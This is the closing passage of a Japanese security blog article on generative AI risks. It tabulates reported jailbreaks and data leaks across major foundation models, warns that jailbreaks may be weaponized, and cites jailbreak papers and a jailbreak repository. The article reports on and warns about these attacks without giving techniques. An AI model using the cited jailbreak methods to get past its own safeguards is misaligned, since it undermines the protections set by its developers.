    OpenAI GPT-4oあり該当なし
    OpenAI GPT-4o-miniあり該当なし
    Google Gemini Flashあり該当なし
    Google Gemini Proあり該当なし
    Anthropic Claude3.5 Sonnetあり該当なし
    Anthropic Claude3.5 Opusあり該当なし
    Meta Llama 3.1あり該当なし
    Meta Llama 3 8Bあり該当なし
    Grok 3あり該当なし
    DeepSeek R1ありあり

    情報漏洩に関して現行の基盤モデルで問題となったのはDeepSeek R1だけとなっていますが、ジェイルブレイクに関してはどの基盤モデルも何らかの形で(悪いほうの)実績があります。多くは論文で報告されているものであり、実際の被害が報告されているものではありません。しかし、かつてサイバーセキュリティにおける脆弱性も同様に論文や実証レベルでの問題が大半で悪用されていなかったものが、組織的に悪用するための武器化や武器化したツールのサービス化などであっという間に広く悪用され、社会を揺るがす問題になっていることを考えると、AIにおいて同じことが起きないとは言い切れません。

    もちろん、基盤モデルを提供する事業者各社もジェイルブレイクに対するガードレールは設けていますが、実際にジェイルブレイクを狙った試行も報告*5されています。脅威アクターによるAIの悪用が今後なんらかの被害をもたらす可能性は否定できません。

    ―第2回「生成AIをめぐる政府機関および世界各国の対応」へ続く―

    連載第1回では、生成AIにまつわる基本用語とセキュリティ上の課題について解説しました。次回、第2回では、生成AIに関して政府機関や世界各国はどのような取り決めをしているかについて詳しくみていきます。

    参考情報:
    ・「GPT-4 Jailbreaks Itself with Near-Perfect Success   Using Self-Explanation」
      https://openreview.net/pdf?id=SMK34VBntD
    ・「ChatGPT-4o contains security bypass vulnerability through time and search functions called “Time Bandit”」
      https://kb.cert.org/vuls/id/733789
    ・「BEST-OF-N JAILBREAKING」
      https://arxiv.org/pdf/2412.03556
    https://github.com/haizelabs/llama3-jailbreak
    https://adversa.ai/blog/grok-3-jailbreak-and-ai-red-teaming/

    Security NEWS TOPに戻る
    バックナンバー TOPに戻る

    【連載一覧】

    ―第2回「生成AIをめぐる政府機関および世界各国の対応」―
    ―第3回「生成AIの未来と安全な活用法 -私たちはAIをどう使うべきか?-」―


    資料ダウンロードボタン
    年二回発行されるセキュリティトレンドの詳細レポート。BBSecで行われた診断の統計データも掲載。
    お問い合わせボタン
    サービスに関する疑問や質問はこちらからお気軽にお問合せください。

    Security Serviceへのリンクバナー画像
    BBsecコーポレートサイトへのリンクバナー画像
    セキュリティ緊急対応のバナー画像